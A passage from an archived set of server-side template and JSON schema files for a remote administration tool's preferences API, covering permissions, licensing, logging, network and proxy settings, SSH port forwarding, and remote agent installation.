	"AskForPermission": { "_type": "bool" },
	"AskForPermission_locked": { "_type": "bool" },
	"PermissionText": { "_type": "string" },
	"PermissionText_locked": { "_type": "bool" },
	"PermissionTimeout": { "_type": "string" },
	"PermissionTimeout_locked": { "_type": "bool" },
	"AskForPermissionDefault": { "_type": "bool" },
	"AskForPermissionDefault_locked": { "_type": "bool" },
	"FullCtrlBypassUsrPerm": { "_type": "bool" },
	"FullCtrlBypassUsrPerm_locked": { "_type": "bool" },
	"AskForPermExcept": { "_type": "bool" },
	"AskForPermExcept_locked": { "_type": "bool" },
	"LockConsoleAlways": { "_type": "bool" },
	"LockConsoleAlways_locked": { "_type": "bool" },
	"LockConsole": { "_type": "bool" },
	"LockConsole_locked": { "_type": "bool" },
	"LockConsoleTimeout": { "_type": "bool" },
	"LockConsoleTimeout_locked": { "_type": "bool" },
	"EnableSystray": { "_type": "bool" },
	"EnableSystray_locked": { "_type": "bool" },
	"KioskMode": { "_type": "bool" },
	"KioskMode_locked": { "_type": "bool" },
	"Language": { "_type": "string" },
	"Language_locked": { "_type": "bool" }
			
},
"lang":{}
}IJx8api\preferences\license.jsonuE<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	if REQ.HTTPMETHOD == "POST"
		usemacro CHECKREQPARAM.EXIST(REQ.LICENSETEXT,"License text", "LICENSETEXT")
		action "cfglicense"
		usemacro ERRORHANDLER()
	elseif REQ.HTTPMETHOD == "PUT"
		//TODO req param checks
		action "cfgtrial"
		usemacro ERRORHANDLER()
	endif

?>{"result": {

	"id": "#LICENSE.ID#",
	"text": "#LICENSE.TEXT#",
	"error": "#LICENSE.ERROR#",
	
	"signerrors": [
	    <?if SIGNERRORS
	    	usemacro CommaInit()
			enum SIGNERRORS
				usemacro CommaDo()?>
				{					    
					"signerror": "#SIGNERROR#"
				}
			<?next
		endif?>		
	],		

	"licensees": [
	    <?if LICENSEES
	    	usemacro CommaInit()
			enum LICENSEES
				usemacro CommaDo()?>
				{					    
					"name": "#LICENSEE.NAME#",
					"trial": "#LICENSE.TRIAL#",
					"websvc": "#LICENSE.WEBSVC#",
					"expires": "#LICENSE.EXPIRES#",
					"trialdays": "#LICENSE.TRIALDAYS#",
					"trialdaysgone": "#LICENSE.TRIALDAYSGONE#",
					"trialdaysleft": "#LICENSE.TRIALDAYSLEFT#",
					"expired": "#LICENSE.EXPIRED#",
					"count": "#LICENSE.COUNT#",
					"scope": "#LICENSE.SCOPE#",
					"peers": "#LICENSE.PEERS#"
				}
			<?next
		endif?>		
	],			

	"trial": "#LICENSE.TRIAL#",
	"websvc": "#LICENSE.WEBSVC#",
	"expires": "#LICENSE.EXPIRES#",
	"trialdays": "#LICENSE.TRIALDAYS#",
	"trialdaysgone": "#LICENSE.TRIALDAYSGONE#",
	"trialdaysleft": "#LICENSE.TRIALDAYSLEFT#",
	"expired": "#LICENSE.EXPIRED#",
	"count": "#LICENSE.COUNT#",
	"scope": "#LICENSE.SCOPE#",
	"peers": "#LICENSE.PEERS#",

	"peers": [
	    <?if PEERS
	    	usemacro CommaInit()
			enum PEERS
				usemacro CommaDo()?>
				{					    
					"name": "#PEER.NAME#",
					"addr": "#PEER.ADDR#"
				}
			<?next
		endif?>		
	]			

},
"lang":{}
}
|0Bapi\preferences\license_info.jsonk<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?  
  // Sort out wrong platforms
  usemacro NOLMI()
  usemacro NOMAC()
  usemacro NOFREE()
  
  action "rainfo"
  usemacro ERRORHANDLER()

?>{"result": {

  "expired": <?usemacro BOOL(LICENSE.EXPIRED)?>,
  "valid": <?usemacro BOOL(LICENSE.VALID)?>,
  "trial": <?usemacro BOOL(LICENSE.TRIAL)?>,
  "overuse": <?usemacro BOOL(LICENSE.OVERUSE)?>,
  "websvc": <?usemacro BOOL(LICENSE.WEBSVC)?>,  
  "count": <?usemacro NUMBER(LICENSE.COUNT)?>,
  "peers": <?usemacro NUMBER(LICENSE.PEERS)?>,
  "type": "#LICENSE.TYPE#",
  "error": "#LICENSE.ERROR#",
  "text": "#LICENSE.TEXT#",
  "trialDays": "#LICENSE.TRIALDAYS#",
  "trialDaysLeft": "#LICENSE.TRIALDAYSLEFT#",
  "trialDaysGone": "#LICENSE.TRIALDAYSGONE#",
  "expires_dtl": "<?#LICENSE.EXPIRES_dtl?>",
  "expires_in": "<?#LICENSE.EXPIRES_in?>",
  "productWebsite": "#PRODUCTWEBSITE#",

  "peerlist": [
    <?if PEERS
        usemacro CommaInit()
      enum PEERS
        usemacro CommaDo()?>
        {
          "name": "#PEER.NAME#",
          "addr": "#PEER.ADDR#"
        }
      <?next
    endif?>
  ],

  "licensees": [
      <?if LICENSEES
        usemacro CommaInit()
      enum LICENSEES
        usemacro CommaDo()?>
        {
          "name": "#LICENSEE.NAME#"
        }
      <?next
    endif?>
  ]

},
"lang":{}
}
vTFapi\preferences\license_info.schemaNҭ{"result": {

	"expired": { "_type": "bool" },
	"valid": { "_type": "bool" },
	"trial": { "_type": "bool" },
	"websvc": { "_type": "bool" },
	"count": { "_type": "number" },
	"peers": { "_type": "number" },

	"licensees" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" }
		}
	}

},
"lang":{}
}0Bapi\preferences\license_mail.json9#<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()

	usemacro CHECKREQPARAM.EXIST(REQ.EMAIL,"email address", "CONFIG.LICENSE.TRIAL.EMAIL")
	usemacro CHECKREQPARAM.EXIST(REQ.PRODUCT,"product name", "CONFIG.LICENSE.TRIAL.PRODUCT")
		
	action "cfgtrialmail"
  if WINERRNUM = "19040" // no license for this e-mail
    set status s=200
    ?>{ "result": "tryra", "lang": {} }<?
    exit
  endif
	usemacro ERRORHANDLER()

?>{
"result": "success",
"lang":{}
}
S~8api\preferences\lmipref.json)<?ratmpl?><?
	nocache

	include "/api/common.macro"


?>{"result": {
	"menu": [
<?if DISPLAYPREFS?>		{"parent": null, "menu": "prefgeneral", "action": true, "titleId": "MSG.CONFIG.TOOLKIT.GENERAL.TITLE"}, <?endif?>
<?if DISPLAYSEC?>		{"parent": null, "menu": "prefsecurity", "action": true, "titleId": "MSG.CONFIG.TOOLKIT.SECURITY.TITLE"}, <?endif?>
<?if DISPLAYPREFS?>		{"parent": null, "menu": "prefadvanced", "action": true, "titleId": "MSG.CONFIG.TOOLKIT.ADVANCED.TITLE"}, <?endif?>
		null
	]
	},
	"lang": {}
}w!0api\preferences\log.json P4<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "UPDATE"
	endif
	
	action "cfglog"
	usemacro ERRORHANDLER()

?>{"result": {
	
	"ArchivalDays": <?usemacro NUMBER(ArchivalDays)?>,
	"ArchivalDays_locked": <?usemacro BOOL(ArchivalDays.LOCKED)?>,
	"Directory": "#Directory#",
	"Directory_locked": <?usemacro BOOL(Directory.LOCKED)?>,

	"EnableODBC": <?usemacro BOOL(EnableODBC)?>,
	"EnableODBC_locked": <?usemacro BOOL(EnableODBC.LOCKED)?>,

	"EnableSysLog": <?usemacro BOOL(EnableSysLog)?>,
	"EnableSysLog_locked": <?usemacro BOOL(EnableSysLog.LOCKED)?>,	
	"SysLogHost": "#SysLogHost#",
	"SysLogHost_locked": <?usemacro BOOL(SysLogHost.LOCKED)?>,
	"SysLogUseTCP": <? if SysLogUseTCP.TCP?>1<? else ?>0<? endif ?>,
	"SysLogUseTCP_locked": <?usemacro BOOL(SysLogUseTCP.LOCKED)?>,	
	"SysLogUDPPort": <?usemacro NUMBER(SysLogUDPPort)?>,
	"SysLogUDPPort_locked": <?usemacro BOOL(SysLogUDPPort.LOCKED)?>,
	"SysLogTCPPort": <?usemacro NUMBER(SysLogTCPPort)?>,
	"SysLogTCPPort_locked": <?usemacro BOOL(SysLogTCPPort.LOCKED)?>,
	"SysLogUseFacility": <?
	if SysLogUseFacility.01
		?>1<?
	elseif SysLogUseFacility.02
		?>2<?
	elseif SysLogUseFacility.03
		?>3<?
	elseif SysLogUseFacility.04
		?>4<?
	elseif SysLogUseFacility.05
		?>5<?
	elseif SysLogUseFacility.06
		?>6<?
	elseif SysLogUseFacility.07
		?>7<?
	elseif SysLogUseFacility.08
		?>8<?
	elseif SysLogUseFacility.09
		?>9<?
	elseif SysLogUseFacility.10
		?>10<?
	elseif SysLogUseFacility.11
		?>11<?
	elseif SysLogUseFacility.12
		?>12<?
	elseif SysLogUseFacility.13
		?>13<?
	elseif SysLogUseFacility.14
		?>14<?
	elseif SysLogUseFacility.15
		?>15<?
	elseif SysLogUseFacility.16
		?>16<?
	elseif SysLogUseFacility.17
		?>17<?
	elseif SysLogUseFacility.18
		?>18<?
	elseif SysLogUseFacility.19
		?>19<?
	elseif SysLogUseFacility.20
		?>20<?
	elseif SysLogUseFacility.21
		?>21<?
	elseif SysLogUseFacility.22
		?>22<?
	elseif SysLogUseFacility.23
		?>23<?
	elseif SysLogUseFacility.24
		?>24<?
	else
		?>-1<?
	endif?>,
	"SysLogUseFacility_locked": <?usemacro BOOL(SysLogUseFacility.LOCKED)?>,

	"EnableScreenRecording": <?usemacro BOOL(EnableScreenRecording)?>,
	"EnableScreenRecording_locked": <?usemacro BOOL(EnableScreenRecording.LOCKED)?>,	
	"AutoConvertAVI": <?usemacro BOOL(AutoConvertAVI)?>,
	"AutoConvertAVI_locked": <?usemacro BOOL(AutoConvertAVI.LOCKED)?>,	
	"ScreenRecordingDirectory": "#ScreenRecordingDirectory#",
	"ScreenRecordingDirectory_locked": <?usemacro BOOL(ScreenRecordingDirectory.LOCKED)?>,
	"ScreenRecordingSize": <?usemacro NUMBER(ScreenRecordingSize)?>,
	"ScreenRecordingSize_locked": <?usemacro BOOL(ScreenRecordingSize.LOCKED)?>,

	"UseRemctrlScreenRecording": <?usemacro BOOL(UseRemctrlScreenRecording)?>

},
"lang":{}
}
4api\preferences\log.schemaꩭ{"result": {
	
	"ArchivalDays": { "_type": "number" },
	"ArchivalDays_locked": { "_type": "bool" },
	"Directory": { "_type": "string" },
	"Directory_locked": { "_type": "bool" },

	"EnableODBC": { "_type": "bool" },
	"EnableODBC_locked": { "_type": "bool" },

	"EnableSysLog": { "_type": "bool" },
	"EnableSysLog_locked": { "_type": "bool" },
	"SysLogHost": { "_type": "string" },
	"SysLogHost_locked": { "_type": "bool" },
	"SysLogUseTCP": { "_type": "number" },
	"SysLogUseTCP_locked": { "_type": "bool" },
	"SysLogUDPPort": { "_type": "number" },
	"SysLogUDPPort_locked": { "_type": "bool" },
	"SysLogTCPPort": { "_type": "number" },
	"SysLogTCPPort_locked": { "_type": "bool" },
	"SysLogUseFacility": { "_type": "number" },
	"SysLogUseFacility_locked": { "_type": "bool" },

	"EnableScreenRecording": { "_type": "bool" },
	"EnableScreenRecording_locked": { "_type": "bool" },
	"AutoConvertAVI": { "_type": "bool" },
	"AutoConvertAVI_locked": { "_type": "bool" },
	"ScreenRecordingDirectory": { "_type": "string" },
	"ScreenRecordingDirectory_locked": { "_type": "bool" },
	"ScreenRecordingSize": { "_type": "number" },
	"ScreenRecordingSize_locked": { "_type": "bool" },

	"UseRemctrlScreenRecording": { "_type": "bool" }

},
"lang":{}
}9B 8api\preferences\network.jsone<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()

	if REQ.HTTPMETHOD == "PUT"
		set REQ.SUBMIT = "1"
	endif
	
	action "cfgnet"
	usemacro ERRORHANDLER()

?>{"result": {

	"ListenPort": <?usemacro NUMBER(ListenPort)?>,
	"ListenPort_locked": <?usemacro BOOL(ListenPort.LOCKED)?>,	
	"ListenIP": "#ListenIP#",
	"ListenIP_locked": <?usemacro BOOL(ListenIP.LOCKED)?>,	
	
	"AcceptUnsecured": <?usemacro BOOL(AcceptUnsecured)?>,
	"AcceptUnsecured_locked": <?usemacro BOOL(AcceptUnsecured.LOCKED)?>,	
	"AllowSSLv2": <?usemacro BOOL(AllowSSLv2)?>,
	"AllowSSLv2_locked": <?usemacro BOOL(AllowSSLv2.LOCKED)?>,	
	"AllowExportCiphers": <?usemacro BOOL(AllowExportCiphers)?>,
	"AllowExportCiphers_locked": <?usemacro BOOL(AllowExportCiphers.LOCKED)?>,	
	"AllowWeakCiphers": <?usemacro BOOL(AllowWeakCiphers)?>,
	"AllowWeakCiphers_locked": <?usemacro BOOL(AllowWeakCiphers.LOCKED)?>,	

	"BrokenProxy": "#BrokenProxy#",
	"BrokenProxy_locked": <?usemacro BOOL(BrokenProxy.LOCKED)?>,	
	"BrokenProxyIPv6": "#BrokenProxyIPv6#",
	"BrokenProxyIPv6_locked": <?usemacro BOOL(BrokenProxyIPv6.LOCKED)?>,	

	"ServicingThreads": <?usemacro NUMBER(ServicingThreads)?>,
	"ServicingThreads_locked": <?usemacro BOOL(ServicingThreads.LOCKED)?>,

	"IdleTimeOut": <?usemacro FORMAT.SPN(IdleTimeOut)?>,
	"IdleTimeOut_locked": <?usemacro BOOL(IdleTimeOut.LOCKED)?>,	
	"StallTimeOut": <?usemacro FORMAT.SPN(StallTimeOut)?>,
	"StallTimeOut_locked": <?usemacro BOOL(StallTimeOut.LOCKED)?>,	
	"FileXferCompr": "#FileXferCompr#",
	"FileXferCompr_locked": <?usemacro BOOL(FileXferCompr.LOCKED)?>,
	"FileXferDnBW": <?usemacro NUMBER(FileXferDnBW)?>,
	"FileXferDnBW_locked": <?usemacro BOOL(FileXferDnBW.LOCKED)?>,
	"FileXferUpBW": <?usemacro NUMBER(FileXferUpBW)?>,
	"FileXferUpBW_locked": <?usemacro BOOL(FileXferUpBW.LOCKED)?>,

	"ForceTunnel": <?usemacro BOOL(ForceTunnel)?>,
	"ForceTunnel_locked": <?usemacro BOOL(ForceTunnel.LOCKED)?>,	
	"VersionCheck": <?usemacro BOOL(VersionCheck)?>,
	"VersionCheck_locked": <?usemacro BOOL(VersionCheck.LOCKED)?>,	
	"AutoStartUpdate": <?usemacro BOOL(AutoStartUpdate)?>,
	"AutoStartUpdate_locked": <?usemacro BOOL(AutoStartUpdate.LOCKED)?>,	
	"WolFromSleepEnabled": <?usemacro BOOL(WolFromSleepEnabled)?>,
	"WolFromSleepEnabled_locked": <?usemacro BOOL(WolFromSleepEnabled.LOCKED)?>,	

	"ProxyAddr": "#ProxyAddr#",
	"ProxyAddr_locked": <?usemacro BOOL(ProxyAddr.LOCKED)?>,
	"ProxyPort": "#ProxyPort#",
	"ProxyPort_locked": <?usemacro BOOL(ProxyPort.LOCKED)?>,
	"ProxyUsername": "#ProxyUsername#",
	"ProxyUsername_locked": <?usemacro BOOL(ProxyUsername.LOCKED)?>,
	"ProxyPassword": <?if ProxyPassword?>true<?else?>false<?endif?>,
	"ProxyPassword_locked": <?usemacro BOOL(ProxyPassword.LOCKED)?>,

	<?if ProxyTest?>"ProxyTest": "#ProxyTest#",<?endif?>
	<?if SmtpTest?>"SmtpTest": "#SmtpTest#",<?endif?>
	
	"SmtpServer": "#SmtpServer#",
	"SmtpServer_locked": <?usemacro BOOL(SmtpServer.LOCKED)?>,
	"SmtpPort": "#SmtpPort#",
	"SmtpPort_locked": <?usemacro BOOL(SmtpPort.LOCKED)?>,
	"SmtpSecure": <?usemacro BOOL(SmtpSecure)?>,
	"SmtpSecure_locked": <?usemacro BOOL(SmtpSecure.LOCKED)?>,	
	"SmtpUsername": "#SmtpUsername#",
	"SmtpUsername_locked": <?usemacro BOOL(SmtpUsername.LOCKED)?>,
	"SmtpPassword": <?if SmtpPassword?>true<?else?>false<?endif?>,
	"SmtpPassword_locked": <?usemacro BOOL(SmtpPassword.LOCKED)?>,
	"SmtpSender": "#SmtpSender#",
	"SmtpSender_locked": <?usemacro BOOL(SmtpSender.LOCKED)?>,
	"SmtpRecipient": "#SmtpRecipient#",
	"SmtpRecipient_locked": <?usemacro BOOL(SmtpRecipient.LOCKED)?>,
	
	"DynIpMailTo": "#DynIpMailTo#",
	"DynIpMailTo_locked": <?usemacro BOOL(DynIpMailTo.LOCKED)?>,
	"DynIpCheckInterval": <?usemacro FORMAT.SPN(DynIpCheckInterval)?>,
	"DynIpCheckInterval_locked": <?usemacro BOOL(DynIpCheckInterval.LOCKED)?>,	

	"ipfilter_profiles": [
	    <?if IPFILTERS
	    	usemacro CommaInit()
			enum IPFILTERS
				usemacro CommaDo()?>
				{					    
					"name": "#IPFILTER.NAME#",
					"selected": <?usemacro BOOL(IPFILTER.SELECTED)?>
				}
			<?next
		endif?>		
	],			
	"listen_ips": [
	    <?if ListenIPs
	    	usemacro CommaInit()
			enum ListenIPs
				usemacro CommaDo()?>
				{					    
					"value": "#ListenIPs.Value#",
					"display": "#ListenIPs.Display#"
				}
			<?next
		endif?>		
	]			

},
"lang":{}
}
v<api\preferences\network.schemaE{"result": {

	"ListenPort": { "_type": "number" },
	"ListenPort_locked": { "_type": "bool" },
	"ListenIP": { "_type": "string" },
	"ListenIP_locked": { "_type": "bool" },
	
	"AcceptUnsecured": { "_type": "bool" },
	"AcceptUnsecured_locked": { "_type": "bool" },
	"AllowSSLv2": { "_type": "bool" },
	"AllowSSLv2_locked": { "_type": "bool" },
	"AllowExportCiphers": { "_type": "bool" },
	"AllowExportCiphers_locked": { "_type": "bool" },
	"AllowWeakCiphers": { "_type": "bool" },
	"AllowWeakCiphers_locked": { "_type": "bool" },

	"BrokenProxy": { "_type": "string" },
	"BrokenProxy_locked": { "_type": "bool" },
	"BrokenProxyIPv6": { "_type": "string" },
	"BrokenProxyIPv6_locked":{ "_type": "bool" },

	"ServicingThreads": { "_type": "number" },
	"ServicingThreads_locked": { "_type": "bool" },

	"IdleTimeOut": { "_type": "string" },
	"IdleTimeOut_locked": { "_type": "bool" },
	"StallTimeOut": { "_type": "string" },
	"StallTimeOut_locked": { "_type": "bool" },
	"FileXferCompr": { "_type": "string" },
	"FileXferCompr_locked": { "_type": "bool" },
	"FileXferDnBW": { "_type": "number" },
	"FileXferDnBW_locked": { "_type": "bool" },
	"FileXferUpBW": { "_type": "number" },
	"FileXferUpBW_locked": { "_type": "bool" },

	"ForceTunnel": { "_type": "bool" },
	"ForceTunnel_locked": { "_type": "bool" },
	"VersionCheck": { "_type": "bool" },
	"VersionCheck_locked": { "_type": "bool" },
	"AutoStartUpdate": { "_type": "bool" },
	"AutoStartUpdate_locked": { "_type": "bool" },
	"WolFromSleepEnabled": { "_type": "bool" },
	"WolFromSleepEnabled_locked": { "_type": "bool" },	

	"ProxyAddr": { "_type": "string" },
	"ProxyAddr_locked": { "_type": "bool" },
	"ProxyPort": { "_type": "string" },
	"ProxyPort_locked": { "_type": "bool" },
	"ProxyUsername": { "_type": "string" },
	"ProxyUsername_locked": { "_type": "bool" },
	"ProxyPassword": { "_type": "bool" },
	"ProxyPassword_locked": { "_type": "bool" },
	
	"SmtpServer": { "_type": "string" },
	"SmtpServer_locked": { "_type": "bool" },
	"SmtpPort": { "_type": "string" },
	"SmtpPort_locked": { "_type": "bool" },
	"SmtpSecure": { "_type": "bool" },
	"SmtpSecure_locked": { "_type": "bool" },
	"SmtpUsername": { "_type": "string" },
	"SmtpUsername_locked": { "_type": "bool" },
	"SmtpPassword": { "_type": "bool" },
	"SmtpPassword_locked": { "_type": "bool" },
	"SmtpSender": { "_type": "string" },
	"SmtpSender_locked": { "_type": "bool" },
	"SmtpRecipient": { "_type": "string" },
	"SmtpRecipient_locked": { "_type": "bool" },
	
	"DynIpMailTo": { "_type": "string" },
	"DynIpMailTo_locked": { "_type": "bool" },
	"DynIpCheckInterval": { "_type": "string" },
	"DynIpCheckInterval_locked": { "_type": "bool" },

	"ipfilter_profiles" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"selected": { "_type": "bool" }
		}
	},
	"listen_ips" : {
		"_type": "array",
		"_element": {
			"value": { "_type": "string" },
			"display": { "_type": "string" }
		}
	}							

},
"lang":{}
}r2api\preferences\odbc.jsonl<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	if REQ.HTTPMETHOD == "PUT"
		action "cfgodbcupdate"
		usemacro ERRORHANDLER()
	endif
	
	action "cfgodbc"
	usemacro ERRORHANDLER()

?>{"result": {
	
	"DATASOURCE": "#DATASOURCE#",
	"DATASOURCE_locked": <?usemacro BOOL(DATASOURCE.LOCKED)?>,
	"ODBCUSER": "#ODBCUSER#",
	"ODBCUSER_locked": <?usemacro BOOL(ODBCUSER.LOCKED)?>,
	"ODBCTABLE": "#ODBCTABLE#",
	"ODBCTABLE_locked": <?usemacro BOOL(ODBCTABLE.LOCKED)?>,
	"COLMESSAGE": "#COLMESSAGE#",
	"COLMESSAGE_locked": <?usemacro BOOL(COLMESSAGE.LOCKED)?>,
	"COLMACHINE": "#COLMACHINE#",
	"COLMACHINE_locked": <?usemacro BOOL(COLMACHINE.LOCKED)?>,
	"COLTIMESTAMP": "#COLTIMESTAMP#",
	"COLTIMESTAMP_locked": <?usemacro BOOL(COLTIMESTAMP.LOCKED)?>,
	"COLLEVEL": "#COLLEVEL#",
	"COLLEVEL_locked": <?usemacro BOOL(COLLEVEL.LOCKED)?>,
	"COLMODULE": "#COLMODULE#",
	"COLMODULE_locked": <?usemacro BOOL(COLMODULE.LOCKED)?>,
	"COLFACILITY": "#COLFACILITY#",
	"COLFACILITY_locked": <?usemacro BOOL(COLFACILITY.LOCKED)?>,
	"COLCLIENT": "#COLCLIENT#",
	"COLCLIENT_locked": <?usemacro BOOL(COLCLIENT.LOCKED)?>

},
"lang":{}
}
zx6api\preferences\odbc.schemaX{"result": {
	
	"DATASOURCE": { "_type": "string" },
	"DATASOURCE_locked": { "_type": "bool" },
	"ODBCUSER": { "_type": "string" },
	"ODBCUSER_locked": { "_type": "bool" },
	"ODBCTABLE": { "_type": "string" },
	"ODBCTABLE_locked": { "_type": "bool" },
	"COLMESSAGE": { "_type": "string" },
	"COLMESSAGE_locked": { "_type": "bool" },
	"COLMACHINE": { "_type": "string" },
	"COLMACHINE_locked": { "_type": "bool" },
	"COLTIMESTAMP": { "_type": "string" },
	"COLTIMESTAMP_locked": { "_type": "bool" },
	"COLLEVEL": { "_type": "string" },
	"COLLEVEL_locked": { "_type": "bool" },
	"COLMODULE": { "_type": "string" },
	"COLMODULE_locked": { "_type": "bool" },
	"COLFACILITY": { "_type": "string" },
	"COLFACILITY_locked": { "_type": "bool" },
	"COLCLIENT": { "_type": "string" },
	"COLCLIENT_locked": { "_type": "bool" }

},
"lang":{}
}N4:api\preferences\odbctest.json1<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	usemacro CHECKREQPARAM.EXIST(REQ.TESTMSG,"test message","CONFIG.ODBC.TESTMSG")

	action "cfgodbctest"
	usemacro ERRORHANDLER()

?>{"result": {
	
	"ODBCCONNERR": "#ODBCCONNERR#",
	"ODBCWRITEERR": "#ODBCWRITEERR#"

},
"lang":{}
}
>api\preferences\odbctest.schemasD0{"result": {
	
	"ODBCCONNERR": { "_type": "string" },
	"ODBCWRITEERR": { "_type": "string" }

},
"lang":{}
}8api\preferences\portfwd.jsonT
VW<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	usemacro CHECKREQPARAM.EXIST(REQ.SID, "User Identifier", "CONFIG.PERMISSIONS.USERNAME")

	if REQ.HTTPMETHOD == "GET"
		if REQ.IDX
			set REQ.OP = "get"
		else
			set REQ.OP = "list"
		endif
		
	elseif REQ.HTTPMETHOD == "PUT"
		usemacro CHECKREQPARAM.EXIST(REQ.IDX, "Rule Index", "RULEINDEX")
		
		// These parameters are optional
		//
		// REQ.DESCR
		// REQ.ENABLED
		// REQ.INPORT
		// REQ.INDESTHOST
		// REQ.INDESTPORT
		// REQ.OUTPORT
		// REQ.OUTDESTHOST
		// REQ.OUTDESTPORT

		set REQ.OP = "set"
	
		action "cfgsshportfwd"
		usemacro ERRORHANDLER()
		
		// usemacro SENDOK("Operation succeeded")
		set REQ.OP = "list"
	elseif REQ.HTTPMETHOD == "POST"
		// usemacro CHECKREQPARAM.EXIST(REQ.IDX, "Rule Index", "RULEINDEX")
		
		// These parameters are optional
		//
		// REQ.DESCR
		// REQ.ENABLED
		// REQ.INPORT
		// REQ.INDESTHOST
		// REQ.INDESTPORT
		// REQ.OUTPORT
		// REQ.OUTDESTHOST
		// REQ.OUTDESTPORT

		set REQ.OP = "add"

		action "cfgsshportfwd"
		usemacro ERRORHANDLER()

		// usemacro SENDOK("Operation succeeded")
		set REQ.OP = "list"
	elseif REQ.HTTPMETHOD == "DELETE"
		usemacro CHECKREQPARAM.EXIST(REQ.IDX, "Rule Index", "RULEINDEX")

		set REQ.OP = "del"

		action "cfgsshportfwd"
		usemacro ERRORHANDLER()

		// usemacro SENDOK("Operation succeeded")
		set REQ.OP = "list"
	else
		usemacro ERROR("Invalid method")
	endif
	
	
	action "cfgsshportfwd"
	usemacro ERRORHANDLER()


	if REQ.OP == "list"
?>{"result": {
	"rules": [
	    <?if RULES
	    	// OP=list
	    
	    	usemacro CommaInit()
			enum RULES
				usemacro CommaDo()?>
				{					    
					"idx": <?usemacro NUMBER(RULE.INDEX)?>,
					"descr": "#RULE.DESCR#",
					"enabled": <?usemacro BOOL(RULE.ENABLED)?>,
					"inPort": <?usemacro NUMBER(RULE.IN.PORT)?>,
					"inDestHost": "#RULE.IN.DESTHOST#",
					"inDestPort": <?usemacro NUMBER(RULE.IN.DESTPORT)?>,
					"outPort": <?usemacro NUMBER(RULE.OUT.PORT)?>,
					"outDestHost": "#RULE.OUT.DESTHOST#",
					"outDestPort": <?usemacro NUMBER(RULE.OUT.DESTPORT)?>
				}
			<?next
		endif?>		
	]
}<?	else
?>{"result": {
	"idx": <?usemacro NUMBER(RULE.INDEX)?>,
	"descr": "#RULE.DESCR#",
	"enabled": <?usemacro BOOL(RULE.ENABLED)?>,
	"inPort": <?usemacro NUMBER(RULE.IN.PORT)?>,
	"inDestHost": "#RULE.IN.DESTHOST#",
	"inDestPort": <?usemacro NUMBER(RULE.IN.DESTPORT)?>,
	"outPort": <?usemacro NUMBER(RULE.OUT.PORT)?>,
	"outDestHost": "#RULE.OUT.DESTHOST#",
	"outDestPort": <?usemacro NUMBER(RULE.OUT.DESTPORT)?>
}<? endif ?>,
"lang":{}
}
tDapi\preferences\portfwd_get.schemaix̯{"result": {
	"idx": { "_type": "number" },
	"descr": { "_type": "string" },
	"enabled": { "_type": "bool" },
	"inPort": { "_type": "number" },
	"inDestHost": { "_type": "string" },
	"inDestPort": { "_type": "number" },
	"outPort": { "_type": "number" },
	"outDestHost": { "_type": "string" },
	"outDestPort": { "_type": "number" },
},
"lang":{}
}
J.Fapi\preferences\portfwd_list.schema{"result": {

	"rules" : {
		"_type": "array",
		"_element": {
			"idx": { "_type": "number" },
			"descr": { "_type": "string" },
			"enabled": { "_type": "bool" },
			"inPort": { "_type": "number" },
			"inDestHost": { "_type": "string" },
			"inDestPort": { "_type": "number" },
			"outPort": { "_type": "number" },
			"outDestHost": { "_type": "string" },
			"outDestPort": { "_type": "number" },
		}
	}

},
"lang":{}
}
W6api\preferences\rainst.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()

	usemacro CHECKREQPARAM(REQ.OP,"-install-,-uninstall-,-start-,-stop-","opcode","OPERATION")
	usemacro CHECKREQPARAM.EXIST(REQ.COMPUTER,"computer name","CONFIG.NETMAINT.COMPUTER")
	usemacro CHECKREQPARAM.EXIST(REQ.DOMAIN,"domain name","LOGIN.DOMAIN")
	//usemacro CHECKREQPARAM.EXIST(REQ.PATH,"installation path","INSTALLPATH")
	//usemacro CHECKREQPARAM.EXIST(REQ.PORT,"installation port","INSTALLPORT")
	
	action "rainst"
	usemacro ERRORHANDLER()

?>{"result": {

	"rainst": [
	    <?if RAINST
	    	usemacro CommaInit()
			enum RAINST
				usemacro CommaDo()?>
				{					    
					"computer": "#RAINST.COMPUTER#",
					"cmd": "#RAINST.CMD#",
					"arg": "#RAINST.ARG#",
					"output": "#RAINST.OUTPUT#",
					"error": "#RAINST.ERROR#"
				}
			<?next
		endif?>		
	]			

},
"lang":{}
}
:api\preferences\rainst.schema{"result": {

	"rainst" : {
		"_type": "array",
		"_element": {
			"computer": { "_type": "string" },
			"cmd": { "_type": "string" },
			"arg": { "_type": "string" },
			"output": { "_type": "string" },
			"error": { "_type": "string" }
		}
	}

},
"lang":{}
}ŌQ6api\preferences\ralist.json,<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()

	action "ralist"
	usemacro ERRORHANDLER()

?>{"result": {

	"computers": [
	    <?if COMPUTERS
	    	usemacro CommaInit()
			enum COMPUTERS
				usemacro CommaDo()?>
				{					    
					"name": "#COMPUTER.NAME#",
					"comment": "#COMPUTER.COMMENT#",
					"platform": "#COMPUTER.PLATFORM#",
					"version": "#COMPUTER.VERSION#",
					"role": "#COMPUTER.ROLE#",
					"error": "#COMPUTER.ERROR#",
					"disabled": <?usemacro BOOL(COMPUTER.DISABLED)?>,
					"ra_installed": "#COMPUTER.RA.INSTALLED#",
					"ra_name": "#COMPUTER.RA.NAME#",
					"ra_exe": "#COMPUTER.RA.EXE#",
					"ra_dir": "#COMPUTER.RA.DIR#",
					"ra_version": "#COMPUTER.RA.VERSION#",
